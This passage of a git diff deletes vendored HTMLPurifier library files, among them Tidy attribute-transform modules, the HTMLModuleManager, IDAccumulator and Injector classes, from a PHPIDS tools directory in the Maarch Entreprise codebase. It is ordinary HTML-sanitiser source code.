makeFixes() {} - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy/Name.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy/Name.php deleted file mode 100755 index e12d1e581cc07054961480ada65bf4087052ea77..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy/Name.php +++ /dev/null @@ -1,24 +0,0 @@ -<?php - -/** - * Name is deprecated, but allowed in strict doctypes, so onl - */ -class HTMLPurifier_HTMLModule_Tidy_Name extends HTMLPurifier_HTMLModule_Tidy -{ - public $name = 'Tidy_Name'; - public $defaultLevel = 'heavy'; - public function makeFixes() { - - $r = array(); - - // @name for img, a ----------------------------------------------- - // Technically, it's allowed even on strict, so we allow authors to use - // it. However, it's deprecated in future versions of XHTML. - $r['img@name'] = - $r['a@name'] = new HTMLPurifier_AttrTransform_Name(); - - return $r; - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy/Proprietary.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy/Proprietary.php deleted file mode 100755 index 6cbff0c18eb7c3526cfaf30a5b2477a2a0d76c93..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy/Proprietary.php +++ /dev/null @@ -1,24 +0,0 @@ -<?php - -class HTMLPurifier_HTMLModule_Tidy_Proprietary extends HTMLPurifier_HTMLModule_Tidy -{ - - public $name = 'Tidy_Proprietary'; - public $defaultLevel = 'light'; - - public function makeFixes() { - $r = array(); - $r['table@background'] = new HTMLPurifier_AttrTransform_Background(); - $r['td@background'] = new HTMLPurifier_AttrTransform_Background(); - $r['th@background'] = new HTMLPurifier_AttrTransform_Background(); - $r['tr@background'] = new HTMLPurifier_AttrTransform_Background(); - $r['thead@background'] = new HTMLPurifier_AttrTransform_Background(); - $r['tfoot@background'] = new HTMLPurifier_AttrTransform_Background(); - $r['tbody@background'] = new HTMLPurifier_AttrTransform_Background(); - $r['table@height'] = new HTMLPurifier_AttrTransform_Length('height'); - return $r; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy/Strict.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy/Strict.php deleted file mode 100755 index 29ee91c04731af4e86909f7ac895e6e8ed9b66ca..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy/Strict.php +++ /dev/null @@ -1,21 +0,0 @@ -<?php - -class HTMLPurifier_HTMLModule_Tidy_Strict extends HTMLPurifier_HTMLModule_Tidy_XHTMLAndHTML4 -{ - public $name = 'Tidy_Strict'; - public $defaultLevel = 'light'; - - public function makeFixes() { - $r = parent::makeFixes(); - $r['blockquote#content_model_type'] = 'strictblockquote'; - return $r; - } - - public $defines_child_def = true; - public function getChildDef($def) { - if ($def->content_model_type != 'strictblockquote') return parent::getChildDef($def); - return new HTMLPurifier_ChildDef_StrictBlockquote($def->content_model); - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy/Transitional.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy/Transitional.php deleted file mode 100755 index ce0efeff6fc64a551d6b8290ab9d6941525d53c7..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy/Transitional.php +++ /dev/null @@ -1,9 +0,0 @@ -<?php - -class HTMLPurifier_HTMLModule_Tidy_Transitional extends HTMLPurifier_HTMLModule_Tidy_XHTMLAndHTML4 -{ - public $name = 'Tidy_Transitional'; - public $defaultLevel = 'heavy'; -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy/XHTML.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy/XHTML.php deleted file mode 100755 index 70585304ce4d52629ae2234a7c62fcb12e4f1c4d..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy/XHTML.php +++ /dev/null @@ -1,17 +0,0 @@ -<?php - -class HTMLPurifier_HTMLModule_Tidy_XHTML extends HTMLPurifier_HTMLModule_Tidy -{ - - public $name = 'Tidy_XHTML'; - public $defaultLevel = 'medium'; - - public function makeFixes() { - $r = array(); - $r['@lang'] = new HTMLPurifier_AttrTransform_Lang(); - return $r; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php deleted file mode 100755 index e1ded477ba2952c33b6bda2775de52fda90e0ccc..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php +++ /dev/null @@ -1,161 +0,0 @@ -<?php - -class HTMLPurifier_HTMLModule_Tidy_XHTMLAndHTML4 extends HTMLPurifier_HTMLModule_Tidy -{ - - public function makeFixes() { - - $r = array(); - - // == deprecated tag transforms =================================== - - $r['font'] = new HTMLPurifier_TagTransform_Font(); - $r['menu'] = new HTMLPurifier_TagTransform_Simple('ul'); - $r['dir'] = new HTMLPurifier_TagTransform_Simple('ul'); - $r['center'] = new HTMLPurifier_TagTransform_Simple('div', 'text-align:center;'); - $r['u'] = new HTMLPurifier_TagTransform_Simple('span', 'text-decoration:underline;'); - $r['s'] = new HTMLPurifier_TagTransform_Simple('span', 'text-decoration:line-through;'); - $r['strike'] = new HTMLPurifier_TagTransform_Simple('span', 'text-decoration:line-through;'); - - // == deprecated attribute transforms ============================= - - $r['caption@align'] = - new HTMLPurifier_AttrTransform_EnumToCSS('align', array( - // we're following IE's behavior, not Firefox's, due - // to the fact that no one supports caption-side:right, - // W3C included (with CSS 2.1). This is a slightly - // unreasonable attribute! - 'left' => 'text-align:left;', - 'right' => 'text-align:right;', - 'top' => 'caption-side:top;', - 'bottom' => 'caption-side:bottom;' // not supported by IE - )); - - // @align for img ------------------------------------------------- - $r['img@align'] = - new HTMLPurifier_AttrTransform_EnumToCSS('align', array( - 'left' => 'float:left;', - 'right' => 'float:right;', - 'top' => 'vertical-align:top;', - 'middle' => 'vertical-align:middle;', - 'bottom' => 'vertical-align:baseline;', - )); - - // @align for table ----------------------------------------------- - $r['table@align'] = - new HTMLPurifier_AttrTransform_EnumToCSS('align', array( - 'left' => 'float:left;', - 'center' => 'margin-left:auto;margin-right:auto;', - 'right' => 'float:right;' - )); - - // @align for hr ----------------------------------------------- - $r['hr@align'] = - new HTMLPurifier_AttrTransform_EnumToCSS('align', array( - // we use both text-align and margin because these work - // for different browsers (IE and Firefox, respectively) - // and the melange makes for a pretty cross-compatible - // solution - 'left' => 'margin-left:0;margin-right:auto;text-align:left;', - 'center' => 'margin-left:auto;margin-right:auto;text-align:center;', - 'right' => 'margin-left:auto;margin-right:0;text-align:right;' - )); - - // @align for h1, h2, h3, h4, h5, h6, p, div ---------------------- - // {{{ - $align_lookup = array(); - $align_values = array('left', 'right', 'center', 'justify'); - foreach ($align_values as $v) $align_lookup[$v] = "text-align:$v;"; - // }}} - $r['h1@align'] = - $r['h2@align'] = - $r['h3@align'] = - $r['h4@align'] = - $r['h5@align'] = - $r['h6@align'] = - $r['p@align'] = - $r['div@align'] = - new HTMLPurifier_AttrTransform_EnumToCSS('align', $align_lookup); - - // @bgcolor for table, tr, td, th --------------------------------- - $r['table@bgcolor'] = - $r['td@bgcolor'] = - $r['th@bgcolor'] = - new HTMLPurifier_AttrTransform_BgColor(); - - // @border for img ------------------------------------------------ - $r['img@border'] = new HTMLPurifier_AttrTransform_Border(); - - // @clear for br -------------------------------------------------- - $r['br@clear'] = - new HTMLPurifier_AttrTransform_EnumToCSS('clear', array( - 'left' => 'clear:left;', - 'right' => 'clear:right;', - 'all' => 'clear:both;', - 'none' => 'clear:none;', - )); - - // @height for td, th --------------------------------------------- - $r['td@height'] = - $r['th@height'] = - new HTMLPurifier_AttrTransform_Length('height'); - - // @hspace for img ------------------------------------------------ - $r['img@hspace'] = new HTMLPurifier_AttrTransform_ImgSpace('hspace'); - - // @noshade for hr ------------------------------------------------ - // this transformation is not precise but often good enough. - // different browsers use different styles to designate noshade - $r['hr@noshade'] = - new HTMLPurifier_AttrTransform_BoolToCSS( - 'noshade', - 'color:#808080;background-color:#808080;border:0;' - ); - - // @nowrap for td, th --------------------------------------------- - $r['td@nowrap'] = - $r['th@nowrap'] = - new HTMLPurifier_AttrTransform_BoolToCSS( - 'nowrap', - 'white-space:nowrap;' - ); - - // @size for hr -------------------------------------------------- - $r['hr@size'] = new HTMLPurifier_AttrTransform_Length('size', 'height'); - - // @type for li, ol, ul ------------------------------------------- - // {{{ - $ul_types = array( - 'disc' => 'list-style-type:disc;', - 'square' => 'list-style-type:square;', - 'circle' => 'list-style-type:circle;' - ); - $ol_types = array( - '1' => 'list-style-type:decimal;', - 'i' => 'list-style-type:lower-roman;', - 'I' => 'list-style-type:upper-roman;', - 'a' => 'list-style-type:lower-alpha;', - 'A' => 'list-style-type:upper-alpha;' - ); - $li_types = $ul_types + $ol_types; - // }}} - - $r['ul@type'] = new HTMLPurifier_AttrTransform_EnumToCSS('type', $ul_types); - $r['ol@type'] = new HTMLPurifier_AttrTransform_EnumToCSS('type', $ol_types, true); - $r['li@type'] = new HTMLPurifier_AttrTransform_EnumToCSS('type', $li_types, true); - - // @vspace for img ------------------------------------------------ - $r['img@vspace'] = new HTMLPurifier_AttrTransform_ImgSpace('vspace'); - - // @width for hr, td, th ------------------------------------------ - $r['td@width'] = - $r['th@width'] = - $r['hr@width'] = new HTMLPurifier_AttrTransform_Length('width'); - - return $r; - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/XMLCommonAttributes.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/XMLCommonAttributes.php deleted file mode 100755 index df69439a450ba8ffc42c103adb99ded580eadf6c..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/XMLCommonAttributes.php +++ /dev/null @@ -1,14 +0,0 @@ -<?php - -class HTMLPurifier_HTMLModule_XMLCommonAttributes extends HTMLPurifier_HTMLModule -{ - public $name = 'XMLCommonAttributes'; - - public $attr_collections = array( - 'Lang' => array( - 'xml:lang' => 'LanguageCode', - ) - ); -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModuleManager.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModuleManager.php deleted file mode 100755 index 90a620fce6db99c63a483afe03fe63bb3342eec7..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModuleManager.php +++ /dev/null @@ -1,403 +0,0 @@ -<?php - -class HTMLPurifier_HTMLModuleManager -{ - - /** - * Instance of HTMLPurifier_DoctypeRegistry - */ - public $doctypes; - - /** - * Instance of current doctype - */ - public $doctype; - - /** - * Instance of HTMLPurifier_AttrTypes - */ - public $attrTypes; - - /** - * Active instances of modules for the specified doctype are - * indexed, by name, in this array. - */ - public $modules = array(); - - /** - * Array of recognized HTMLPurifier_Module instances, indexed by - * module's class name. This array is usually lazy loaded, but a - * user can overload a module by pre-emptively registering it. - */ - public $registeredModules = array(); - - /** - * List of extra modules that were added by the user using addModule(). - * These get unconditionally merged into the current doctype, whatever - * it may be. - */ - public $userModules = array(); - - /** - * Associative array of element name to list of modules that have - * definitions for the element; this array is dynamically filled. - */ - public $elementLookup = array(); - - /** List of prefixes we should use for registering small names */ - public $prefixes = array('HTMLPurifier_HTMLModule_'); - - public $contentSets; /**< Instance of HTMLPurifier_ContentSets */ - public $attrCollections; /**< Instance of HTMLPurifier_AttrCollections */ - - /** If set to true, unsafe elements and attributes will be allowed */ - public $trusted = false; - - public function __construct() { - - // editable internal objects - $this->attrTypes = new HTMLPurifier_AttrTypes(); - $this->doctypes = new HTMLPurifier_DoctypeRegistry(); - - // setup basic modules - $common = array( - 'CommonAttributes', 'Text', 'Hypertext', 'List', - 'Presentation', 'Edit', 'Bdo', 'Tables', 'Image', - 'StyleAttribute', - // Unsafe: - 'Scripting', 'Object', 'Forms', - // Sorta legacy, but present in strict: - 'Name', - ); - $transitional = array('Legacy', 'Target'); - $xml = array('XMLCommonAttributes'); - $non_xml = array('NonXMLCommonAttributes'); - - // setup basic doctypes - $this->doctypes->register( - 'HTML 4.01 Transitional', false, - array_merge($common, $transitional, $non_xml), - array('Tidy_Transitional', 'Tidy_Proprietary'), - array(), - '-//W3C//DTD HTML 4.01 Transitional//EN', - 'http://www.w3.org/TR/html4/loose.dtd' - ); - - $this->doctypes->register( - 'HTML 4.01 Strict', false, - array_merge($common, $non_xml), - array('Tidy_Strict', 'Tidy_Proprietary', 'Tidy_Name'), - array(), - '-//W3C//DTD HTML 4.01//EN', - 'http://www.w3.org/TR/html4/strict.dtd' - ); - - $this->doctypes->register( - 'XHTML 1.0 Transitional', true, - array_merge($common, $transitional, $xml, $non_xml), - array('Tidy_Transitional', 'Tidy_XHTML', 'Tidy_Proprietary', 'Tidy_Name'), - array(), - '-//W3C//DTD XHTML 1.0 Transitional//EN', - 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd' - ); - - $this->doctypes->register( - 'XHTML 1.0 Strict', true, - array_merge($common, $xml, $non_xml), - array('Tidy_Strict', 'Tidy_XHTML', 'Tidy_Strict', 'Tidy_Proprietary', 'Tidy_Name'), - array(), - '-//W3C//DTD XHTML 1.0 Strict//EN', - 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd' - ); - - $this->doctypes->register( - 'XHTML 1.1', true, - array_merge($common, $xml, array('Ruby')), - array('Tidy_Strict', 'Tidy_XHTML', 'Tidy_Proprietary', 'Tidy_Strict', 'Tidy_Name'), // Tidy_XHTML1_1 - array(), - '-//W3C//DTD XHTML 1.1//EN', - 'http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd' - ); - - } - - /** - * Registers a module to the recognized module list, useful for - * overloading pre-existing modules. - * @param $module Mixed: string module name, with or without - * HTMLPurifier_HTMLModule prefix, or instance of - * subclass of HTMLPurifier_HTMLModule. - * @param $overload Boolean whether or not to overload previous modules. - * If this is not set, and you do overload a module, - * HTML Purifier will complain with a warning. - * @note This function will not call autoload, you must instantiate - * (and thus invoke) autoload outside the method. - * @note If a string is passed as a module name, different variants - * will be tested in this order: - * - Check for HTMLPurifier_HTMLModule_$name - * - Check all prefixes with $name in order they were added - * - Check for literal object name - * - Throw fatal error - * If your object name collides with an internal class, specify - * your module manually. All modules must have been included - * externally: registerModule will not perform inclusions for you! - */ - public function registerModule($module, $overload = false) { - if (is_string($module)) { - // attempt to load the module - $original_module = $module; - $ok = false; - foreach ($this->prefixes as $prefix) { - $module = $prefix . $original_module; - if (class_exists($module)) { - $ok = true; - break; - } - } - if (!$ok) { - $module = $original_module; - if (!class_exists($module)) { - trigger_error($original_module . ' module does not exist', - E_USER_ERROR); - return; - } - } - $module = new $module(); - } - if (empty($module->name)) { - trigger_error('Module instance of ' . get_class($module) . ' must have name'); - return; - } - if (!$overload && isset($this->registeredModules[$module->name])) { - trigger_error('Overloading ' . $module->name . ' without explicit overload parameter', E_USER_WARNING); - } - $this->registeredModules[$module->name] = $module; - } - - /** - * Adds a module to the current doctype by first registering it, - * and then tacking it on to the active doctype - */ - public function addModule($module) { - $this->registerModule($module); - if (is_object($module)) $module = $module->name; - $this->userModules[] = $module; - } - - /** - * Adds a class prefix that registerModule() will use to resolve a - * string name to a concrete class - */ - public function addPrefix($prefix) { - $this->prefixes[] = $prefix; - } - - /** - * Performs processing on modules, after being called you may - * use getElement() and getElements() - * @param $config Instance of HTMLPurifier_Config - */ - public function setup($config) { - - $this->trusted = $config->get('HTML.Trusted'); - - // generate - $this->doctype = $this->doctypes->make($config); - $modules = $this->doctype->modules; - - // take out the default modules that aren't allowed - $lookup = $config->get('HTML.AllowedModules'); - $special_cases = $config->get('HTML.CoreModules'); - - if (is_array($lookup)) { - foreach ($modules as $k => $m) { - if (isset($special_cases[$m])) continue; - if (!isset($lookup[$m])) unset($modules[$k]); - } - } - - // custom modules - if ($config->get('HTML.Proprietary')) { - $modules[] = 'Proprietary'; - } - if ($config->get('HTML.SafeObject')) { - $modules[] = 'SafeObject'; - } - if ($config->get('HTML.SafeEmbed')) { - $modules[] = 'SafeEmbed'; - } - if ($config->get('HTML.Nofollow')) { - $modules[] = 'Nofollow'; - } - - // merge in custom modules - $modules = array_merge($modules, $this->userModules); - - foreach ($modules as $module) { - $this->processModule($module); - $this->modules[$module]->setup($config); - } - - foreach ($this->doctype->tidyModules as $module) { - $this->processModule($module); - $this->modules[$module]->setup($config); - } - - // prepare any injectors - foreach ($this->modules as $module) { - $n = array(); - foreach ($module->info_injector as $i => $injector) { - if (!is_object($injector)) { - $class = "HTMLPurifier_Injector_$injector"; - $injector = new $class; - } - $n[$injector->name] = $injector; - } - $module->info_injector = $n; - } - - // setup lookup table based on all valid modules - foreach ($this->modules as $module) { - foreach ($module->info as $name => $def) { - if (!isset($this->elementLookup[$name])) { - $this->elementLookup[$name] = array(); - } - $this->elementLookup[$name][] = $module->name; - } - } - - // note the different choice - $this->contentSets = new HTMLPurifier_ContentSets( - // content set assembly deals with all possible modules, - // not just ones deemed to be "safe" - $this->modules - ); - $this->attrCollections = new HTMLPurifier_AttrCollections( - $this->attrTypes, - // there is no way to directly disable a global attribute, - // but using AllowedAttributes or simply not including - // the module in your custom doctype should be sufficient - $this->modules - ); - } - - /** - * Takes a module and adds it to the active module collection, - * registering it if necessary. - */ - public function processModule($module) { - if (!isset($this->registeredModules[$module]) || is_object($module)) { - $this->registerModule($module); - } - $this->modules[$module] = $this->registeredModules[$module]; - } - - /** - * Retrieves merged element definitions. - * @return Array of HTMLPurifier_ElementDef - */ - public function getElements() { - - $elements = array(); - foreach ($this->modules as $module) { - if (!$this->trusted && !$module->safe) continue; - foreach ($module->info as $name => $v) { - if (isset($elements[$name])) continue; - $elements[$name] = $this->getElement($name); - } - } - - // remove dud elements, this happens when an element that - // appeared to be safe actually wasn't - foreach ($elements as $n => $v) { - if ($v === false) unset($elements[$n]); - } - - return $elements; - - } - - /** - * Retrieves a single merged element definition - * @param $name Name of element - * @param $trusted Boolean trusted overriding parameter: set to true - * if you want the full version of an element - * @return Merged HTMLPurifier_ElementDef - * @note You may notice that modules are getting iterated over twice (once - * in getElements() and once here). This - * is because - */ - public function getElement($name, $trusted = null) { - - if (!isset($this->elementLookup[$name])) { - return false; - } - - // setup global state variables - $def = false; - if ($trusted === null) $trusted = $this->trusted; - - // iterate through each module that has registered itself to this - // element - foreach($this->elementLookup[$name] as $module_name) { - - $module = $this->modules[$module_name]; - - // refuse to create/merge from a module that is deemed unsafe-- - // pretend the module doesn't exist--when trusted mode is not on. - if (!$trusted && !$module->safe) { - continue; - } - - // clone is used because, ideally speaking, the original - // definition should not be modified. Usually, this will - // make no difference, but for consistency's sake - $new_def = clone $module->info[$name]; - - if (!$def && $new_def->standalone) { - $def = $new_def; - } elseif ($def) { - // This will occur even if $new_def is standalone. In practice, - // this will usually result in a full replacement. - $def->mergeIn($new_def); - } else { - // :TODO: - // non-standalone definitions that don't have a standalone - // to merge into could be deferred to the end - continue; - } - - // attribute value expansions - $this->attrCollections->performInclusions($def->attr); - $this->attrCollections->expandIdentifiers($def->attr, $this->attrTypes); - - // descendants_are_inline, for ChildDef_Chameleon - if (is_string($def->content_model) && - strpos($def->content_model, 'Inline') !== false) { - if ($name != 'del' && $name != 'ins') { - // this is for you, ins/del - $def->descendants_are_inline = true; - } - } - - $this->contentSets->generateChildDef($def, $module); - } - - // This can occur if there is a blank definition, but no base to - // mix it in with - if (!$def) return false; - - // add information on required attributes - foreach ($def->attr as $attr_name => $attr_def) { - if ($attr_def->required) { - $def->required_attr[] = $attr_name; - } - } - - return $def; - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/IDAccumulator.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/IDAccumulator.php deleted file mode 100755 index 784ce0e9d810f2b5c01de6de25f20e5a79271fb1..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/IDAccumulator.php +++ /dev/null @@ -1,53 +0,0 @@ -<?php - -/** - * Component of HTMLPurifier_AttrContext that accumulates IDs to prevent dupes - * @note In Slashdot-speak, dupe means duplicate. - * @note The default constructor does not accept $config or $context objects: - * use must use the static build() factory method to perform initialization. - */ -class HTMLPurifier_IDAccumulator -{ - - /** - * Lookup table of IDs we've accumulated. - * @public - */ - public $ids = array(); - - /** - * Builds an IDAccumulator, also initializing the default blacklist - * @param $config Instance of HTMLPurifier_Config - * @param $context Instance of HTMLPurifier_Context - * @return Fully initialized HTMLPurifier_IDAccumulator - */ - public static function build($config, $context) { - $id_accumulator = new HTMLPurifier_IDAccumulator(); - $id_accumulator->load($config->get('Attr.IDBlacklist')); - return $id_accumulator; - } - - /** - * Add an ID to the lookup table. - * @param $id ID to be added. - * @return Bool status, true if success, false if there's a dupe - */ - public function add($id) { - if (isset($this->ids[$id])) return false; - return $this->ids[$id] = true; - } - - /** - * Load a list of IDs into the lookup table - * @param $array_of_ids Array of IDs to load - * @note This function doesn't care about duplicates - */ - public function load($array_of_ids) { - foreach ($array_of_ids as $id) { - $this->ids[$id] = true; - } - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector.php deleted file mode 100755 index 1e16e68322c5211147e31d1b87bf4196a05c3cd4..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector.php +++ /dev/null @@ -1,239 +0,0 @@ -<?php - -/** - * Injects tokens into the document while parsing for well-formedness. - * This enables "formatter-like" functionality such as auto-paragraphing, - * smiley-ification and linkification to take place. - * - * A note on how handlers create changes; this is done by assigning a new - * value to the $token reference. These values can take a variety of forms and - * are best described HTMLPurifier_Strategy_MakeWellFormed->processToken() - * documentation. - * - * @todo Allow injectors to request a re-run on their output. This - * would help if an operation is recursive. - */ -abstract class HTMLPurifier_Injector -{ - - /** - * Advisory name of injector, this is for friendly error messages - */ - public $name; - - /** - * Instance of HTMLPurifier_HTMLDefinition - */ - protected $htmlDefinition; - - /** - * Reference to CurrentNesting variable in Context. This is an array - * list of tokens that we are currently "inside" - */ - protected $currentNesting; - - /** - * Reference to InputTokens variable in Context. This is an array - * list of the input tokens that are being processed. - */ - protected $inputTokens; - - /** - * Reference to InputIndex variable in Context. This is an integer - * array index for $this->inputTokens that indicates what token - * is currently being processed. - */ - protected $inputIndex; - - /** - * Array of elements and attributes this injector creates and therefore - * need to be allowed by the definition. Takes form of - * array('element' => array('attr', 'attr2'), 'element2') - */ - public $needed = array(); - - /** - * Index of inputTokens to rewind to. - */ - protected $rewind = false; - - /** - * Rewind to a spot to re-perform processing. This is useful if you - * deleted a node, and now need to see if this change affected any - * earlier nodes. Rewinding does not affect other injectors, and can - * result in infinite loops if not used carefully. - * @warning HTML Purifier will prevent you from fast-forwarding with this - * function. - */ - public function rewind($index) { - $this->rewind = $index; - } - - /** - * Retrieves rewind, and then unsets it. - */ - public function getRewind() { - $r = $this->rewind; - $this->rewind = false; - return $r; - } - - /** - * Prepares the injector by giving it the config and context objects: - * this allows references to important variables to be made within - * the injector. This function also checks if the HTML environment - * will work with the Injector (see checkNeeded()). - * @param $config Instance of HTMLPurifier_Config - * @param $context Instance of HTMLPurifier_Context - * @return Boolean false if success, string of missing needed element/attribute if failure - */ - public function prepare($config, $context) { - $this->htmlDefinition = $config->getHTMLDefinition(); - // Even though this might fail, some unit tests ignore this and - // still test checkNeeded, so be careful. Maybe get rid of that - // dependency. - $result = $this->checkNeeded($config); - if ($result !== false) return $result; - $this->currentNesting =& $context->get('CurrentNesting'); - $this->inputTokens =& $context->get('InputTokens'); - $this->inputIndex =& $context->get('InputIndex'); - return false; - } - - /** - * This function checks if the HTML environment - * will work with the Injector: if p tags are not allowed, the - * Auto-Paragraphing injector should not be enabled. - * @param $config Instance of HTMLPurifier_Config - * @param $context Instance of HTMLPurifier_Context - * @return Boolean false if success, string of missing needed element/attribute if failure - */ - public function checkNeeded($config) { - $def = $config->getHTMLDefinition(); - foreach ($this->needed as $element => $attributes) { - if (is_int($element)) $element = $attributes; - if (!isset($def->info[$element])) return $element; - if (!is_array($attributes)) continue; - foreach ($attributes as $name) { - if (!isset($def->info[$element]->attr[$name])) return "$element.$name"; - } - } - return false; - } - - /** - * Tests if the context node allows a certain element - * @param $name Name of element to test for - * @return True if element is allowed, false if it is not - */ - public function allowsElement($name) { - if (!empty($this->currentNesting)) { - $parent_token = array_pop($this->currentNesting); - $this->currentNesting[] = $parent_token; - $parent = $this->htmlDefinition->info[$parent_token->name]; - } else { - $parent = $this->htmlDefinition->info_parent_def; - } - if (!isset($parent->child->elements[$name]) || isset($parent->excludes[$name])) { - return false; - } - // check for exclusion - for ($i = count($this->currentNesting) - 2; $i >= 0; $i--) { - $node = $this->currentNesting[$i]; - $def = $this->htmlDefinition->info[$node->name]; - if (isset($def->excludes[$name])) return false; - } - return true; - } - - /** - * Iterator function, which starts with the next token and continues until - * you reach the end of the input tokens. - * @warning Please prevent previous references from interfering with this - * functions by setting $i = null beforehand! - * @param $i Current integer index variable for inputTokens - * @param $current Current token variable. Do NOT use $token, as that variable is also a reference - */ - protected function forward(&$i, &$current) { - if ($i === null) $i = $this->inputIndex + 1; - else $i++; - if (!isset($this->inputTokens[$i])) return false; - $current = $this->inputTokens[$i]; - return true; - } - - /** - * Similar to _forward, but accepts a third parameter $nesting (which - * should be initialized at 0) and stops when we hit the end tag - * for the node $this->inputIndex starts in. - */ - protected function forwardUntilEndToken(&$i, &$current, &$nesting) { - $result = $this->forward($i, $current); - if (!$result) return false; - if ($nesting === null) $nesting = 0; - if ($current instanceof HTMLPurifier_Token_Start) $nesting++; - elseif ($current instanceof HTMLPurifier_Token_End) { - if ($nesting <= 0) return false; - $nesting--; - } - return true; - } - - /** - * Iterator function, starts with the previous token and continues until - * you reach the beginning of input tokens. - * @warning Please prevent previous references from interfering with this - * functions by setting $i = null beforehand! - * @param $i Current integer index variable for inputTokens - * @param $current Current token variable. Do NOT use $token, as that variable is also a reference - */ - protected function backward(&$i, &$current) { - if ($i === null) $i = $this->inputIndex - 1; - else $i--; - if ($i < 0) return false; - $current = $this->inputTokens[$i]; - return true; - } - - /** - * Initializes the iterator at the current position. Use in a do {} while; - * loop to force the _forward and _backward functions to start at the - * current location. - * @warning Please prevent previous references from interfering with this - * functions by setting $i = null beforehand! - * @param $i Current integer index variable for inputTokens - * @param $current Current token variable. Do NOT use $token, as that variable is also a reference - */ - protected function current(&$i, &$current) { - if ($i === null) $i = $this->inputIndex; - $current = $this->inputTokens[$i]; - } - - /** - * Handler that is called when a text token is processed - */ - public function handleText(&$token) {} - - /** - * Handler that is called when a start or empty token is processed - */ - public function handleElement(&$token) {} - - /** - * Handler that is called when an end token is processed - */ - public function handleEnd(&$token) { - $this->notifyEnd($token); - } - - /** - * Notifier that is called when an end token is processed - * @note This differs from handlers in that the token is read-only - * @deprecated - */ - public function notifyEnd($token) {} - - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector/AutoParagraph.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector/AutoParagraph.php deleted file mode 100755 index e1e8da50dd92f0407d4a6ec6472e79c9e6e4e27e..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector/AutoParagraph.php +++ /dev/null @@ -1,345 +0,0 @@ -<?php - -/** - * Injector that auto paragraphs text in the root node based on - * double-spacing. - * @todo Ensure all states are unit tested, including variations as well. - * @todo Make a graph of the flow control for this Injector. - */ -class 